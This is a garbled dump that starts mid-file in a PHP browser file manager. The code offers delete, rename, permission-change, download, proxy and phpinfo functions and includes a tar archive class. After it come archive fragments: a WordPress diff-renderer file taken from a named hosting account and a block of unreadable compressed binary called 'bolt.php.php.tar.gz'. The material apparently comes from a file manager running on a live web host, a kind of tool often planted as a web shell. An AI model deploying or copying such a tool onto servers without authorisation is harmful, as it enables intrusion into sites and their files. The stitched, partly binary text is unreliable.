			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>


<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>PK     |\tT        inline.php.tarnu [        home/laratrends/public_html/wp-includes/Text/Diff/Renderer/inline.php                               0000644                 00000012630 15217274171 0021731 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * "Inline" diff renderer.
 *
 * Copyright 2004-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Ciprian Popovici
 * @package Text_Diff
 */

/** Text_Diff_Renderer */

// WP #7391
require_once dirname(dirname(__FILE__)) . '/Renderer.php';

/**
 * "Inline" diff renderer.
 *
 * This class renders diffs in the Wiki-style "inline" format.
 *
 * @author  Ciprian Popovici
 * @package Text_Diff
 */
class Text_Diff_Renderer_inline extends Text_Diff_Renderer {

    /**
     * Number of leading context "lines" to preserve.
     *
     * @var integer
     */
    var $_leading_context_lines = 10000;

    /**
     * Number of trailing context "lines" to preserve.
     *
     * @var integer
     */
    var $_trailing_context_lines = 10000;

    /**
     * Prefix for inserted text.
     *
     * @var string
     */
    var $_ins_prefix = '<ins>';

    /**
     * Suffix for inserted text.
     *
     * @var string
     */
    var $_ins_suffix = '</ins>';

    /**
     * Prefix for deleted text.
     *
     * @var string
     */
    var $_del_prefix = '<del>';

    /**
     * Suffix for deleted text.
     *
     * @var string
     */
    var $_del_suffix = '</del>';

    /**
     * Header for each change block.
     *
     * @var string
     */
    var $_block_header = '';

    /**
     * Whether to split down to character-level.
     *
     * @var boolean
     */
    var $_split_characters = false;

    /**
     * What are we currently splitting on? Used to recurse to show word-level
     * or character-level changes.
     *
     * @var string
     */
    var $_split_level = 'lines';

    function _blockHeader($xbeg, $xlen, $ybeg, $ylen)
    {
        return $this->_block_header;
    }

    function _startBlock($header)
    {
        return $header;
    }

    function _lines($lines, $prefix = ' ', $encode = true)
    {
        if ($encode) {
            array_walk($lines, array(&$this, '_encode'));
        }

        if ($this->_split_level == 'lines') {
            return implode("\n", $lines) . "\n";
        } else {
            return implode('', $lines);
        }
    }

    function _added($lines)
    {
        array_walk($lines, array(&$this, '_encode'));
        $lines[0] = $this->_ins_prefix . $lines[0];
        $lines[count($lines) - 1] .= $this->_ins_suffix;
        return $this->_lines($lines, ' ', false);
    }

    function _deleted($lines, $words = false)
    {
        array_walk($lines, array(&$this, '_encode'));
        $lines[0] = $this->_del_prefix . $lines[0];
        $lines[count($lines) - 1] .= $this->_del_suffix;
        return $this->_lines($lines, ' ', false);
    }

    function _changed($orig, $final)
    {
        /* If we've already split on characters, just display. */
        if ($this->_split_level == 'characters') {
            return $this->_deleted($orig)
                . $this->_added($final);
        }

        /* If we've already split on words, just display. */
        if ($this->_split_level == 'words') {
            $prefix = '';
            while ($orig[0] !== false && $final[0] !== false &&
                   substr($orig[0], 0, 1) == ' ' &&
                   substr($final[0], 0, 1) == ' ') {
                $prefix .= substr($orig[0], 0, 1);
                $orig[0] = substr($orig[0], 1);
                $final[0] = substr($final[0], 1);
            }
            return $prefix . $this->_deleted($orig) . $this->_added($final);
        }

        $text1 = implode("\n", $orig);
        $text2 = implode("\n", $final);

        /* Non-printing newline marker. */
        $nl = "\0";

        if ($this->_split_characters) {
            $diff = new Text_Diff('native',
                                  array(preg_split('//', $text1),
                                        preg_split('//', $text2)));
        } else {
            /* We want to split on word boundaries, but we need to preserve
             * whitespace as well. Therefore we split on words, but include
             * all blocks of whitespace in the wordlist. */
            $diff = new Text_Diff('native',
                                  array($this->_splitOnWords($text1, $nl),
                                        $this->_splitOnWords($text2, $nl)));
        }

        /* Get the diff in inline format. */
        $renderer = new Text_Diff_Renderer_inline
            (array_merge($this->getParams(),
                         array('split_level' => $this->_split_characters ? 'characters' : 'words')));

        /* Run the diff and get the output. */
        return str_replace($nl, "\n", $renderer->render($diff)) . "\n";
    }

    function _splitOnWords($string, $newlineEscape = "\n")
    {
        // Ignore \0; otherwise the while loop will never finish.
        $string = str_replace("\0", '', $string);

        $words = array();
        $length = strlen($string);
        $pos = 0;

        while ($pos < $length) {
            // Eat a word with any preceding whitespace.
            $spaces = strspn(substr($string, $pos), " \n");
            $nextpos = strcspn(substr($string, $pos + $spaces), " \n");
            $words[] = str_replace("\n", $newlineEscape, substr($string, $pos, $spaces + $nextpos));
            $pos += $spaces + $nextpos;
        }

        return $words;
    }

    function _encode(&$string)
    {
        $string = htmlspecialchars($string);
    }

}
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PK     |\a  a    bolt.php.php.tar.gznu [              Ys(v_5!9THq_DA$A 	?8{#?8¯~seUa"}ߵg	ԒU9^r=T[vy#HCq=U46+l^azgP0@$'҃p ߅V5NAM[/h=Ԙ ̂	073?JLFd K̿?H45ל(?5֦"H$ݡ'[uD37Z_cɩVVF(	!5^,UPix]G^}5C T*RCo|š	θG_QTӖn[p$|Cy#;~z=z|E7S__X"H>kDUޣ ?e-9 	wF̋CCYx	THP"<x&^d*-)k
AZYJ$K'Ԁy*Ғw (kѽq;HBc4ɲ8HVyNNDF{y4ÿUE~Q?;JѰD2^Յ}*o!7ť]+?9TU/CLx{4$ҫDSM`1ߝwhQXdQ4yMfD\i>Kp+[ʊ2swh|d2qp*3 罒t*N@#Ek7]&jҩf	m@g2IhY,_sj/zVxf/uM̌5Ѧʌ_V=-DqPl߇#p*l3J?bNw2x(xN"z(eV
\OBib1*$}48	?G4FD:%x۫mPl9@a[ID|Gķe	j#z?2^/ODAEVyFW%x-^i.Y为毗#Β\$UEF-K*d!t>x^>	q
Q8?x2.SxeʄQRK~'L	@ eΛ+
qo: 	dx:jn<-_jhAYheX @C8;N_G	qf1sd%WXYx@)JYP:?O=x'z
1NuhjNeCyL/K9z[rYJ[xũa-(|:sCҗGÉk@9ϣ&=śE(Qk
H
H>xCEyĻ,"C;*h||c<w7(lp{^FxXANwiSh{F5[_f0zĔExt9}N7skֲ V5oCԱ3'noPz
i,NBn? .T x]HI.| {v_@,s	;7ќE#~̡KPQgi AJ$.JDwJT`"GhBnWH :T,\YxN+2; u`.sܿ*z+͂K4[M2!Akv&[:eX/C#gMN9Xl,)D[KBY"t-Ќ0I))>ѐ٧X3OW9_$2W`GDJ8"6^U<h!	cZX^!WE*	KXL5:	ZS7NXB1*
QuY &v
M)!^z|[C4}8UidPh3IA
ڑӊRw#<(i,ى=M%] g(DxT9$On<uѼp[MZ-s_ʈAFw2[K'un2ss]*ladcd~2Ɋvyh:.efcW<ߘ79$Bʆ,>~:݃N%Y)1E":X|Gktr·Vdrk9U)S"T̠T:/h	*x1ih#cdFZiQ.éIA|D-p0YPB^"HQl#IBlNÿ10{@A/8Q["ƜEo3e=)qP9&qXl#u
h_4CzBl
N|I,p[DЦp76K6KnǂJ^vHyaT։DCHLΓ#&]A:$C^UC$)rHVT(b+TuK(&҉^6-{kkfR\=3ldxRb9Jc#*T	k!uE%I~/8\߾_/_wGMq]^%pHgЩAj|5%̱8@9=C^/`XO(^a	ݗd^_]NI!~";4Z@M^#Xd"_1{gIWf
xqᅥ?i6lWhW_t^[+cMNzBbc!	m*cRZ»EBՅiǍ>@w,65B!cIfD e#JyQ,/2sBkY|:Şqxڒ쳸S*36m-׵$
ZH,c+NhjT2F^2ɸ"]5H|D%brʿ2]dx$$c٦<a:8I1	)e_dQ"Fo 6~9-PQT*d9.!& o 6Y],hڀe]<÷L|1_e[Z\%tgT@Wa 
_i'eqRva(qڜA윌Xy|&&ބ/++V?	M"PTJˠ;JmH(EڢTYr#MxN48N?Q!D;xj&XM@	(-[Z)2l}4B.G@$dqGCǅ	Z{3vp8!Nk}A#M{6Pz1B 6kyMQ͡D(毤i[FKM}1"H;vi)tiBĝ!`G=$`"FAlRK15m~'zՔ͂,~ԥ
-iafҁ'xAc0?/ylD?pYD!AhnkN'VVgc`͎yŁ;e9[Kmz ]a;.WX_kur Qg*w`]%/Y`ywb;D]ƼԘ
feH(Jk"Gz2)AISHiIt}<eǭp#wOeJ"la>?1yy-8T8ۣ;֚># GWBll>ZGX:t:YAOi*$P
'*FDk.9æiH5JD(VE~lօsA4Pw@ށ10&Z|Pwv>
VbnGU!7i֭60?y4Mj%KEo#MOɤeC#3	J1Dv>t}IZdVB&Y:ű
WE%ltalj-}5Q nU#WI֠ D~Ц  46o`op~s_[2^^@}^!hIh@h"!Tѱ}Иcf9nDM	9'o&eҩ끪)fQ/2HP6{u%Ղ)1\!z#(yu;DϤ[w2}tJbEb9Ήt355<z15AC/8%)#:}p!2&g*8%jLѰn& |NC {,~BI4z	xXq]W)ʋq7t*כ98!֗t~&8`\x= Shsޢ|{R3K@;"&u`F&iOq	"RO\`6GIx5aI5`HkѦ,t3C Kv1k}Юiiͧb$@KWGt%B3?C&Œ1	RB?'^~WSccCk{cNc-|fIz+˄%aF9D"T5<J/KMH|鈚DiOgl(S=@jl<($5;6KסsV2M$Hv#8iHh4\ӡ݄+[fGUqş㛗91\9Fy9?E^y_D'	I'iĸ{=}&4;Ѡ]Yuunn+dZǝj `";eEk'ƛVI71~V:G.vt)H
:d<[^`CKy8#GkQ-j,כzLZի8+Lzxu!ºMw~FbhȩS8#ø`s,uot\_tÇkQE$!>GL@$vO8AT7ŭb`bsH|-ܓi"qZsÌ\7HdST@w0~f!$Asom4z:(uM/IB ?yr.b~c$G(&HőjRL3Ƞ065BNgrf:lQm,UKr	#<0LR[0LQ\*;~f,DG}t|$P5ZLҪtRvr;T$2lGd2#s3~H31Mb6{OX<,~b'sg0R[)n:&pkV~B@"R2!tO׿ڭk&SJ~}}08 z kg8eS[6Lrn7ׇAN>uW#έpVAtR^+b}dɉk)KQΓ(,\/N12-bN~|6'KC%W0|"^_HaJ 8	;@']āC:}ֈUBMj[^N+ʉ=z/"c[ӂ.R UBj~E=p?;'0-9k8#r#C|Rs#u(!\(NkvG73MzE"[fG,-%R*)ij8+9=bw"#dއtы")x[',^grkJlٵbfJvMWUԝR-WW33͞mi\aX
:;m-=E@aC>YbjKpȴ>TPf8T^HUڣ"\k^ x5y#H#4orå5 ʢ2m I'/5+#NBRexqk`rz>c9@:%Ph
A#=|CMH<IX88|K0K`f H,eA"{4Z]_r8]J;2^6Ra"ПJ=͵')z&rhC0JڹT+n)ZGFoq(dZAhCCVnzz)%-Bnl,VW名lZEyi;|H[!2A~pA)갵C<ϤjDpKUVV`t]
QRj?jS/"ucDv&,yr"2%,ZƣUKp'ڽi{YτfE 8_<*T``\;\y -h4Ċ)a*!vtFѳܑո
뉆ԛ|x>kDޖ=LÁ3'PJ\0?rThS6hDRh!PvX	s,r)e<Xw<j-l}+	OlL벱	#"TNKUyR<E鐘uP'٠\=̞wq6&B0ZXzJۙ62UKԜ+(;IjzjR}cO75zo5dr#nΥBp3(Iez;)j׳­]2q!thXOir4vrt{c}?TQ+T.?bNzݑ^tqP!sN]n+YSSB.Nެ,'!'OJKsF1l7XZ,O\`J&;<iO:tқ{ʮy?tthD.]{\+U߷ڛ<y6:Sd41hSOg{
|ٱl3Ad sF:n*hJѲ_-=YtSn{np˩}׳nH'7c{-cnWq88=#t-mSeidfF;S揓$$&4&[}f~V%[s6XgM!RbդA8?G
$0P81mt͡rlN9\лpaAf; EncZ z{KEdSF֚jU3WHibYI*6]	ExVmN v8иWϯjjdsZڪ\1ȥXiک/ E;l7 6EY-pc4uhrؓT6$ZʿGX6;J Q?QguI&֓m)7e/kHFô뜹CŢ冀M]|Uv_86{ՅCh%  :SQ@r'/,K^!	)CJp)9^TRq+аu-wNW׸$FkȼZȵ:Q"-z	; V\<>p(5ߚs@w_~oНL:Q-V9\)m[a?:A2].~fa	Jʲg UbkhyA!~f^&G>U@p!j2XeD+ x@<IWT9ILoC@GR_~o?;_	+Mi	/?}X7%	#@Q;a]RĞ-!'#nfıq~ǫ
Upto\3i:80KzcC*-Q(bxxK+@bP AUD\GO^l*XڨUuذ˂NI#	W5M3VA>+8v	&Ł	[xͤ#?=d1vsIɞJ}awm
o7=A9NM,"3 )/E	ؚ6LBY`&&4o\X%/x]8G͜l! ,oIT)v׻TNsfwxh7#k}̌ɅQقm>8h7b7&'glEh3uGgs{%f°^2y	zOAPic\%Q'oNb9a2k[͛nҟt}q$tk@?!]!J,L-FP_co5r,%[aM#b8&э:䐂p;bZ"^RsaqWs;.&	>2(.AXPB2B{dS8l.>ˌ7V'Kǒ-3c}?WkA3WMzwjȺu*ӭ[TjBcE[&z\'=X)531cK]yp\54JWN[YmQ[ȭӂouxǘY>|	Rn>&!|C߳tZXon洄y_,@
w:񻮰)RFn
4"3$s,0iglFf߀NȔfZ7KMiz3WpTS,X˝ZRNa|hAf_=?H8TC5XMUEu7~7;sLhK˦}cL=.A6|>`b]][2`	\4~ykU#ZKABcH|n#*S?&#joJ(2~Ųd2ceBZ.J$kͬ&O5!psXK:'떰8;gϖL~H_J粣z`gX%XE4Xh8nqP4&qb-ʭZmt_\bz2ZR3ٙ@zE=!'^P\`=Q?RsHˇjNn r6Uя&(.
a7;,n~￳%LKiF2LQ3 zr??b࿸;?g
7tP>yi#.hDK:^HW;ۊʷv[+6ЖPEIAxy;-f+=ouC8şP2Hpǈ2FZCj0ҋS\LQXd:ߩnI
|Y~EZx1k\Tc+s(4rvj*MT<xyBM8zBOcYʈɯ$\So_\_onK[ a#c_^rv]LCNaB[0'k[ݐtrp1;7V(v;=ÛM9+HО/(K͔W(;%Dm$O_-J0kw͘[îݸKLbs	W~5%-O,i##.~4HaXj^m|]=//q3O1g*b=Hm6ňXGÉH.fPmHw2HDcw+='rIo09?{?GG&6"*v#K~wmMy<=31rȧNi}mu`M@l/&XlRl.ŬECi="z('}p/={U`j`$.9-~\>K968eI`hR83Z>p2ESAaf_.g?d,	np
sk|	nЀm
q61VP:WH<&v%[|HrPhR3NTNBЦi6iX?fp=oVޔ'Hw\n
